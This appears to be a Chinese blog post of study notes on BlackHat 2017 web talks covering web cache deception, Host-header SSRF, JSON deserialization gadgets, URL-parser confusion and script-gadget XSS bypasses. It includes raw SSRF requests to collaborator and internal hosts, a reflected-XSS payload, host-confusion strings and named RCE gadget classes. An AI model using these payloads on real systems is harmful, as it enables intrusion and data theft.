0x00 前言

最近整理下BlackHat 2017 Web相关议题,做下学习笔记。

0x01 WEB CACHE DECEPTION ATTACK(Web缓存欺骗攻击)

PDF:https://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web-Cache-Deception-Attack.pdf

相关参考:一种新型的Web缓存欺骗攻击技术

攻击原理

先简单介绍一下WEB缓存技术,它主要是缓存一些静态的,公开的文件,如CSS文件,JS文件,图片等。缓存分两类,一类是本地缓存,通过在浏览器上缓存实现,缓存之后通过F5刷新是不会重新获取已缓存文件的,通过Ctrl +F5强制刷新才会重新获取。另一类是在服务端实现,也就是在CDN、负载均衡、反向代理(后面统称缓存服务器)上实现,这次介绍的攻击技术就是针对这一种缓存。服务端的缓存原理是:客户端请求一个静态文件,如果缓存服务器没有缓存过这个文件,就会像WEB服务器请求,获取到静态文件返回给客户端,同时将这个文件缓存下来,下次再遇到同样的请求时就直接返回,直到这个缓存文件过期。

接下来讲一下WEB服务器解析的问题。假设客户端请求http://www.example.com/home.php/nonexistent.css 这个URL,其中home.php是真实存在的,而nonexistent.css不存在,那WEB服务器会怎么处理呢?针对这种情况的处理跟WEB服务器用的技术以及配置相关,有的会返回404 not found,有的会返回200 OK,然后把home.php返回回来。如果服务器返回200 OK就要注意了,这时缓存服务器拿到的请求是http://www.example.com/home.php/nonexistent.css,是一个静态页面,而WEB服务器返回给缓存服务器的结果是http://www.example.com/home.php,不是一个静态页面,但是缓存服务器并不知道。

攻击原理如图:

  1. 攻击者引诱已登录的用户(受害者)访问https://www.bank.com/account.do/logo.png
  2. 受害者请求https://www.bank.com/account.do/logo.png
  3. 缓存服务器接收到请求,没查到这个页面,于是向WEB服务器请求
  4. WEB服务器返回https://www.bank.com/account.do,状态码是200 OK
  5. 缓存服务器收到结果,由于状态码是200 OK,会认为URL保持不变,然后由于这个URL以.png结尾,认为它是一个静态文件,于是会缓存这个文件
  6. 受害者得到正常结果
  7. 攻击者访问https://www.bank.com/account.do/logo.png,请求到达缓存服务器,缓存服务器直接返回受害者的缓存账户页面给攻击者,攻击完成。

防御方法:

  1. 配置缓存服务器根据http header来判断是否缓存页面;
  2. 将所有静态文件放在指定的目录,只缓存这个目录里的文件;
  3. 配置WEB服务器在解析类似http://www.example.com/home.php/nonexistent.css 这种页面时返回404或者302。

更多的看参考文章即可。

0x02 CRACKING THE LENS: TARGETING HTTP’S HIDDEN ATTACK-SURFACE(HTTP的隐藏攻击面)

PDF:https://www.blackhat.com/docs/us-17/wednesday/us-17-Kettle-Cracking-The-Lens-Exploiting-HTTPs-Hidden-Attack-Surface.pdf

PortSwigger博客参考:https://portswigger.net/research/cracking-the-lens-targeting-https-hidden-attack-surface

简介

访问Web站点通常会经过许多隐藏的服务系统(包括反向代理、负载均衡器、后端分析系统等),这些系统主要用来提升用户体验、提取统计数据或提供其他服务等。正因为其隐藏的特点,导致这一层不可见的攻击面被忽略了很久。

作者使用畸形请求和特殊HTTP头是隐藏系统暴露自己,并打开了攻击内网的大门。其中,作者分享了几个隐藏系统的漏洞案例,包括Yahoo的若干服务器、拦截篡改细腻的英国ISP(BT)、哥伦比亚的ISP,将反射型XSS升级为SSRF的军方服务器等。

攻击方法

Listening监听

隐藏系统本身被设计为隐藏的、外部无感知的,因此无法通过响应报文来识别它们的漏洞。可以通过发送特殊的报文来让这些系统主动连接我们,然后分析产生的DNS lookup和HTTP请求,识别可能存在的漏洞。

作者使用Burp Collaborator记录了这些请求,但也可以会用自己的DNS服务器,或者使用CanaryTokens

Research Pipeline

作者首先使用简单的Burp匹配/替换规则将硬编码的pingback payload注入到所有浏览器流量中。这种方法以失败告终,因为有效负载造成了如此多的pingback,以致于很难将每个单独的pingback相关联并确定哪个网站触发了它。很快也很明显,某些有效负载会在三分钟,几小时甚至每24小时一次的延迟后引起pinging。

为了有效地对pingback进行分类,作者写了Collaborator Everywhere,这是一个简单的Burp扩展,它将包含唯一标识符的payload注入所有代理流量中,并使用它们自动将pingback与相应的攻击相关联。如下图,Netflix在作者访问其网站四个小时后访问了Referer标头中指定的URL,并假装是在x86 CPU上运行的iPhone:

Scaling up扩大攻击面

测试目标域名和IP地址是从合法的漏洞奖励计划网站中筛选的。

为使发出的报文尽可能触发漏洞,HTTP头处理如下:

  • Host头带多个hostname;
  • 设置X-Forwarded-Proto头,标识Client与代理服务器之间使用的协议;
  • 设置Cache-Control头为no-transform,禁止中间代理服务器处理请求报文;
  • 设置Max-Forwards最大转发次数;

案例——Misrouting Requests

攻击者通过特殊的Host头来操控反向代理服务器向攻击者指定的目标发送请求,可以理解为使SSRF的变种。

反向代理服务器在组网中用于连接外网和内网,这就导致其有被SSRF利用的风险。

Invalid Host

触发回调的最简单方法是发送不正确的HTTP Host标头:

1
2
3
GET / HTTP/1.1
Host: uniqid.burpcollaborator.net
Connection: close

成功利用的案例:

  • 27 DoD servers
  • ats-vm.lorax.bf1.yahoo.com
  • My ISP
  • Colombian ISP doing DNS poisoning

这里看下作者对ats-vm.lorax.bf1.yahoo.com的利用

一开始还不清楚服务端运行的是什么应用软件:

1
2
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082

接着,通过HELP命令得知了服务端运行的应用软件信息:

1
2
HELP / HTTP/1.1
Host: XX.X.XXX.XX:8082

来自服务器的众多“Unknown Command”将请求的每一行解释为单独的命令-它使用的是换行符终止的协议,这将使通过经典SSRF进行利用变得极为困难或不可能。

但幸运的是,基于路由的SSRF更加灵活,能够使用包含选择的命令的POST样式的主体发出GET请求:

1
2
3
4
5
6
7
8
9
10
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
Content-Length: 34

GET proxy.config.alarm_email

HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:57:02 GMT
Transfer-Encoding: chunked
Connection: keep alive

之后,再使用SET命令就可以对Yahoo的负载均衡器池进行广泛的配置更改,包括启用SOCKS代理并授予我的IP地址权限,以将项目直接推送到其缓存中。

Handling input permutation

作者在测试中遇到个别服务器收到下面这个请求后:

1
2
3
GET / HTTP/1.1
Host: burpcollaborator.net
Connection: close

会转发出这样的请求,即Host值放入URL中拼接两次作为URL Path,同时Host值加了outage前缀:

1
2
3
GET /burpcollaborator.net/burpcollaborator.net HTTP/1.1
Host: outage.burpcollaborator.net
Via: o2-b.ycpi.tp2.yahoo.net

如何利用?——注册域名到内网地址,实现向内网发送请求。此外,还有vcap.me,这是一个公开的域名,其所有子域名都会被解析为127.0.0.1,再利用../跨路径,实现对内网http://127.0.0.1的访问。

那么,构造的利用请求报文如下即可:

服务端在归一化处理后得到的请求为http://outage.vcap.me/?x=.vcap.me,等同于http://127.0.0.1/的访问。

Host overriding

在URI中的Host可以替换为Host头的值。

有些服务器会对Host头的值进行校验,但会忽视利用URI也可以传递Host头值并且比Header的优先级更高。

1
2
3
GET http://internal-website.mil/ HTTP/1.1
Host: xxxxxxx.mil
Connection: close

Ambiguous requests

含糊不清的请求,即会引起歧义的请求。

通过username:pass@domainname的形式来混淆域名,incapsula防火墙通过端口号来提取域名,如下面的Host头的值,防火墙认为端口号是80,域名为incapsula-client.net(合法),但实际请求转发到目标服务器后解析获取的URL为burp-collaborator.net:

1
2
3
GET / HTTP/1.1
Host: incapsula-client.net:80@burp-collaborator.net
Connection: close

Breaking expectations

还可以在URI中传递不以/开头、包含@的路径来混淆URL。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Url backendURL = "http://public-backend/";
String uri = ctx.getRequest().getRawUri();

URI proxyUri;
try {
proxyUri = new URIBuilder(uri)
.setHost(backendURL.getHost())
.setPort(backendURL.getPort())
.setScheme(backendURL.getScheme())
.build();
} catch (URISyntaxException e) {
Util.sendError(ctx, 400, INVALID_REQUEST_URL);
return;
}

对上述处理,使用下面请求报文,实际得到的URL域名被攻击者替换为了http://public-backend@burp-collaborator.net

1
2
3
GET @burp-collaborator.net/ HTTP/1.1
Host: newrelic.com
Connection: close

Tunnels

去掉@后的URL变形,观察会不会有服务器向xyz.burpcollaborator.net发送请求:

1
2
3
GET xyz.burpcollaborator.net:80/bar HTTP/1.1
Host: demo.globaleaks.org
Connection: close

收到了globaleaks.org服务器怪异的请求,多次pingback:

1
2
3
xYZ.BurpcoLLABoRaTOR.neT.    from 89.234.157.254
Xyz.burPColLABorAToR.nET. from 62.210.18.16
xYz.burpColLaBorATOR.net. from 91.224.149.254

经分析发现,跟globaleaks使用的Tor2web做隐匿请求的处理有关。

案例——Targeting auxiliary systems

此外,还可以关注相关备用系统的利用。

Gathering information

收集信息。除了Host头,其他头字段也能被利用:

1
2
3
4
5
6
7
GET / HTTP/1.1
Host: store.starbucks.ca
X-Forwarded-For: a.burpcollaborator.net
True-Client-IP: b.burpcollaborator.net
Referer: http://c.burpcollaborator.net/
X-WAP-Profile: http://d.burpcollaborator.net/wap.xml
Connection: close

具体几个头字段的利用看作者博客即可。

Pre-emptive caching

预缓存。

看个将反射型XSS提升至SSRF的案例。一个军方的服务器有预缓存的行为:

1
2
GET / HTTP/1.1
Host: burpcollaborator.net

随后收到如下请求:

1
2
GET /jquery.js HTTP/1.1
GET /abrams.jpg HTTP/1.1

缓存服务器收到<img src="/a.jpg"/>这样的内容时,会拿Host头发出这样的请求来预加载资源:http://burpcollaborator.net/a.jpg

作者在后端应用中找到一个反射型XSS,注入一段访问内网服务器上的图片的语句:

1
2
3
4
5
POST /xss.cgi HTTP/1.1
Content-Length: 103
Connection: close

xss=<img src="http://internal-server.mil/index.php/fake.jpg"/>

然后缓存服务器将缓存它并可从外网访问:

1
2
3
GET /index.php/fake.jpg
Host: internal-server.mil
Connection: close

整个攻击过程如图:

0x03 JSON ATTACKS

PDF:https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf

简介

本次议题讲的就是JSON库反序列化漏洞及其Gadgets的内容。其中包括Fastjson、Jackson等反序列化漏洞的研究,基本原理这些这里不再赘述,只对一些JSON反序列化Tips进行记录即可。

JSON如果只传递简单对象,一般是安全的。但是如果传递的是Java对象或者.NET对象,则会容易存在安全问题。

Java反序列化和.NET BinaryFormat反序列化容易被攻击,这是因为它们在处理过程中会调用一系列的回调函数,而这些回调函数如果存在危险调用或操作则就造成了反序列化漏洞的存在。整个攻击可归结为攻击者能够控制反序列化对象图中的对象类型,而该类型的反序列化回调逻辑可以被利用来执行任意代码。

反序列化对象图,类似于HTML页面的DOM树,DOM树包含一系列的标签,标签间有层次关系。要反序列化的对象可能继承于某个类型、可以有多种类型的成员变量,这些被包含的对象又有类型的结构,展开就像DOM树一样也是一张图,被称为对象图。

反序列化攻击中,攻击者要能控制对象图中某个对象,注入Gadgets类型来实现攻击。而Gadgets类型就是在其反序列化回调过程中可以注入恶意代码并被执行的类,比如JDK的TemplatesImpl类。因此,反序列化漏洞研究的思路可以归结为两点:如何控制对象类型和寻找Gadgets类型

JSON反序列化过程

JSON反序列化就是JSON unmarshaller根据JSON数据(字符串)重新构造出对象(Object)。

其中,最常见的几种实现方法如下:

通过默认构造函数与反射实现

Java的JSON-IO库、经典的.NET deserializer(当反序列化类型有@Serializable注解但没有实现ISerializable接口)。这些JSON反序列化过程会调用一些函数,而如果这些函数中存在危险操作则存在反序列化漏洞的风险:

  • 析构函数,如Finalize(),对象被垃圾回收时触发;
  • 一些类型不能通过反射来构建,例如.NET的Hashtable,hash值需要重新计算,因此很多方法如HashCode()、Equal()、Compare()等可能被调用;
  • 其他可能调用到的方法,如异常处理器调用toString();

通过默认构造函数与setters实现

与前一个方法类似,但不使用反射,而使用property/field的set方法(setters)来操作对象的fields。

通常这样的反序列化器只处理public的property/field,比前一个方法限制多一些。尽管如此,大部分的反序列化器使用这种方案。但是,某些情况下,反序列化器会通过反射调用private setter。

因为标准库和三方库中普遍存在自定义setter,因此Gadgets类型的范围非常广,这也是为啥Jackson和Fastjson不断爆出新的绕过黑名单的Gadgets CVE的原因(通过对Fastjson和Jackson的分析,这些库对于Map、Collection类型的数据支持通过getter方法设置值,等同于setter)。

通过特殊构造函数/类型转换器/回调函数实现

Java和.NET的反序列化回调方法,比如Json.NET的OnError属性,Java的readObject(),.NET中ISerializable的特殊构造函数,.NET中OnDeserialized和OnDeserializing注解的方法,XmlSerializer中IXmlSerializable的ReadXml()等。

JSON库的反序列化器提供注解的反序列化回调函数的情况很少见,一些库会调用到Java/.NET的反序列化回调。

由此可见,JSON反序列化过程没有调用Object deserialization(Java原生反序列化)的callbacks,因此Java反序列化的Gadgets类型大多数对JSON反序列化是没用的。

当然,也有个别方法在JSON反序列化过程中被调用,可以根据此启动Gadget链:

  • Non-default constructor
  • Setters
  • Type Converters(.NET特有)

作者发现大多数JSON库都调用setter方法来处理对象成员,因此关注点应该放在那些会导致任意代码执行的setter方法中(大多数Gadget类型的特性)。

JSON库判断field是否存在、如何确定setter方法,不同的库有各自的实现,这两点如果处理不好就导致漏洞的存在,同时这两点也是分析反序列化新Gadget的重点。

RCE Gadgets

作者提及的几个Gadgets。

注意:JDK8u121默认禁止了通过JNDI对象Factory来加载远程Class,但不影响LDAP的利用方式。具体参考JNDI注入的文章。

org.hibernate.jmx.StatisticsService

setSessionFactoryJNDIName() -> JNDI lookup

com.atomikos.icatch.jta.RemoteClientUserTransaction

toString() -> JNDI lookup

com.sun.rowset.JdbcRowSetImpl

setAutoCommit() -> JNDI lookup,JDK自带

org.antlr.stringtemplate.StringTemplate

toString(),可以被利用来和其他Gadget类形成Gadget利用链,比如TemplatesImpl.getOutputProperties()

各种JSON库的安全性与漏洞模式

Default:默认支持类型指定;Configuration:通过配置可支持类型指定。

Jackson

通过ObjectMapper.enableDefaultTyping()全局使能动态类型指定(当然还有注解的方式即@JsontypeInfo),并且支持通过参数限定哪些类型的成员变量支持动态类型,包括:

  • JAVA_LANG_OBJECT:仅影响Object.class类型的属性;
  • OBJECT_AND_NON_CONCRETE:影响Object.class和所有non-concrete类型(抽象类、接口等);
  • NON_CONCRETE_AND_ARRAYS:同时,另加所有数组类型(元素均为Object.class和所有non-concrete类型);
  • NON_FINAL:影响所有不声明为final的类型,以及元素中为non_final类型的数组;

Jackson反序列化过程中会调用被反序列化类的setter方法,并没有进行任何的类型检查。

Genson

通过useRuntimeType()开关使能动态类型绑定,这点和Jackson的enableDefaultTyping()类似。

Genson有对象图的类型检查,因此要实现RCE需要在反序列化的类型中找到入口点。

同样,Genson反序列化过程中会调用被反序列化类的setter方法。

JSON-IO

JSON-IO的反序列化:

  • 调用反射设置值,不调用setter方法;
  • 反序列化过程中出现异常时会调用待反序列化的类的toString()方法;

攻击者可以故意在某个成员的赋值时触发异常,在toString()函数中注入恶意代码实现攻击。

FlexSON

默认配置下就支持动态类型的反序列化,并且没有类型检查。

同样,FlexSON反序列化过程中会调用被反序列化类的setter方法。

对类型检查防御的Bypass思路

一些库做类型检查的方式是探测(inspect)将要反序列化的类型的对象图(得到其所有field及其类型),仅允许与成员变量的类型匹配(assignable)的赋值。

此时若想实现RCE,需要找到对象图上的一个入口点,这个点仍能指定为Gadget类型。

比如:

  • 若对象图中有成员变量是java.lang.Object类型或者泛型类型(如Message<T>),那么可以将其当做入口点;
  • 若对象图中有成员变量的类型是T,T的子类中有成员变量是Object类型。比如java.lang.Exception的子类javax.management.InvalidApplicationException;

注意:Jackson、Fastjson是使用黑名单禁止反序列化Gadgets类的,这种只能通过新Gadget来Bypass。

PDF:https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

简介

议题的重点是Protocol Smuggling,主要是HTTP请求走私。

作者展示了Python、PHP、Curl中各个Library对特殊形式HTTP请求处理的差异,并利用这些差异实现SSRF。

出现该问题的原因在于,HTTP URI的标准有处理建议,但并非强制要求,并且对不符合标准结构的特殊情况没有规定如何处理,因此不同的库都会有自己的实现方式。

因此,协议走私可以简单理解为二义性问题,即特殊形式的请求报文在不同的解析器下有不同的理解,这种差异结果可被攻击者利用来绕过安全检查或者实现某种攻击如SSRF等。

基本概念与原理

作者对于本议题的研究灵感来源于CVE-2016-8624:invalid URL parsing with '#'

作者对所有语言的Library进行了测试,各个库的处理情况如下:

注意:Port注入类似http://127.0.0.1:12345:80;Host注入类似http://a.com#@evil.com;Path注入类似http://a.com/test/../info等。

利用这种解析的二义性,就能进行如SSRF的攻击。

技术点

SNI注入

SNI(Server Name Indication,服务器名称指示)定义在RFC 4366,是一项用于改善SSL/TLS的技术,在SSLv3/TLSv1中被启用。它允许客户端发起SSL握手请求时(具体说是客户端发出SSL请求中的ClientHello阶段)就提交请求的Host信息,使得服务器能够切换到正确的域并返回对应的证书。

注意:SNI是明文传输。

因此,HTTPS的SNI存在Host头一样的走私方法,如下图CRLF注入:

Node.JS

大写N(U+FF2E)的宽字节形式可以代替..使用。

Unicode字符U+FF0D U+FF0A可以作为CRLF字符使用。

glibc NSS特性

gethostbyname()支持十进制数表示Hsot。

Linux getaddrinfo()会忽略Host中空格之后的内容,很多库的实现依赖该函数,而有些库会进行两次URL解码。

HTTPConnection.puthreader()禁止CRLF后面的空白,但可以在前面加上空白来绕过。这可以绕过Python CVE-2016-5699补丁的限制。

遵循的标准不同

URL parser和URL requester遵循的IDNA标准不同时也会导致解析差异。

0x05 DON’T TRUST THE DOM: BYPASSING XSS MITIGATIONS VIA SCRIPT GADGETS(利用Script Gadgets绕过XSS缓解措施)

PDF:https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

基本概念与原理

XSS Mitigation即XSS缓解措施,该机制是通过识别并阻止恶意的标签或属性来缓解XSS攻击。常见的XSS MITIGATIONS机制有浏览器的CSP机制、XSS Auditor、XSS Filter、WAF的过滤器等。

当今Web应用都普遍使用JavaScript框架,而JavaScript框架通常是用到了DOM操纵技术,即从DOM中读取数据、修改DOM的结构等。在实现上是使用selector(选择器),通过某种形式的语法来选取DOM中特定的单个或多个标签,来读写器属性或文本。

那么是否可以通过JS框架的script来绕过XSS Mitigation机制呢?——使用Script Gadget来绕过。

什么是Script Gadget?——简单地说,Script Gadget就是在当前页面中可被利用来绕过XSS Mitigation机制的JS代码。

页面上通过selector读取标签属性的JS脚本片段,使用了会导致脚本执行的API(比如上图的html())来处理读取的数据。这里注入的XSS数据时一段HTML代码,没有script和on事件等恶意标签或属性,恶意脚本藏在data-text的值中,且该值不受XSS Mitigation机制的限制;当经过正文JS脚本中selector的处理后,data-text的值就被放入buttons.html() API中使用,进而放入DOM中导致恶意脚本被执行。这整个过程就是使用无害的JS库的API来绕过XSS Mitigation机制的。

注意:注入的数据经过了HTML编码,但是仍然能够执行XSS,这是因为注入的内容在div标签中,会先被HTML解析器进行HTML解码。

针对Gadgets的研究,作者做了充分的实验测试,具体的可参考PDF连接文档。

具体的Script Gadget PoC都在:https://github.com/google/security-research-pocs

研究结论

除了React库外,其他库都存在Script Gadget可以绕过特定的XSS Mitigation,其中Emberjs仅在开发者版本中存在绕过风险: